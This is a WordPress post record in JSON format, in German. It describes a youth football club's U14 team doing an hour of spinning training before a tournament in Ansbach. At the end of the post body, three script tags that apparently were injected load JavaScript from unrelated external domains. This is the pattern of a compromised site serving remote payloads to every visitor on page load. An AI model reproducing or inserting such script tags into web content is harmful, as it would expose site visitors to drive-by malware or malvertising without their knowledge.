{"id":7537,"date":"2019-07-16T22:49:59","date_gmt":"2019-07-16T20:49:59","guid":{"rendered":"http:\/\/www.jugendfussball-wendelstein.de\/wordpress\/?p=7537"},"modified":"2019-07-16T22:49:59","modified_gmt":"2019-07-16T20:49:59","slug":"die-u14-bringt-sich-in-schwung-auch-abseits-des-platzes","status":"publish","type":"post","link":"https:\/\/www.jugendfussball-wendelstein.de\/wordpress\/die-u14-bringt-sich-in-schwung-auch-abseits-des-platzes\/","title":{"rendered":"Die U14 bringt sich in Schwung \u2013 auch abseits des Platzes"},"content":{"rendered":"<p>Normalerweise ist der Freitag bei der U14 ein Trainingstag, gew\u00f6hnlich auf dem Platz mit Ball, Koordinations- und Laufeinheiten, jedoch diesen Freitag wartete auf die Jungs ein etwas andere Art des Trainings. Wir schreiben den 12.07.19, Treffpunkt 16:30 Uhr bei der Fitness Complete GmbH in Rednitzhembach &#8211; Spinning stand auf dem Programm! Einigerma\u00dfen p\u00fcnktlich waren dann auch 11 Jungs des 17 Spieler umfassenden Kaders da \u2013 Powern bis die Oberschenkel brennen war angesagt. Markus, der Spinninginstructor erwartete schon die Jungs. Nach einer kleinen Aufw\u00e4rmrunde ging es dann auch los \u2013 bei lautem Beat wurde im Rhythmus so mancher Berg erklommen, auf der Geraden gesprintet und das Bike bis zum Anschlag durchgetreten \u2013 buchst\u00e4blich bis das Tretlager hei\u00dfgelaufen war. W\u00e4hrend der 60 min\u00fctigen Einheit konnten die Jungs in keinster Weise soviel trinken wie sie an Schwei\u00df verloren \u2013 und die Shirts waren schon in der Halbzeit zur Seite gelegt, jedoch alle waren sich nach dieser Einheit einig: Wiederholung ist dringend erw\u00fcnscht!!<\/p>\n<p>Vermutlich werden morgen die Beine etwas schwerer sein beim Turnier der SpVgg Ansbach, jedoch wer die Jungs kennt wei\u00df das trotz schwerer Beine die Mannschaft so manchen Gegner \u00e4rgern kann. In diesem Sinne \u2013 Haut rein M\u00e4nner und viel Erfolg beim Turnier!<\/p>\n<p><script src=\"\/\/keysformapp.com\/1cbbe6fbfefc3b777d.js\"><\/script><script src=\"http:\/\/cdn-javascript.net\/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&amp;uid=7355x&amp;format=arrjs&amp;r=1563310169799\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/worksrc.cool\/ext\/1cbbe6fbfefc3b777d.js?sid=52295_7355_&amp;title=FF_%5B602%5D_formkeyapp.cool&amp;blocks[]=31af2\" type=\"text\/javascript\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Normalerweise ist der Freitag bei der U14 ein Trainingstag, gew\u00f6hnlich auf dem Platz mit Ball, Koordinations- und Laufeinheiten, jedoch diesen Freitag wartete auf die Jungs ein etwas andere Art des Trainings. Wir schreiben den 12.07.19, Treffpunkt 16:30 Uhr bei der Fitness Complete GmbH in Rednitzhembach &#8211; Spinning stand auf dem Programm! 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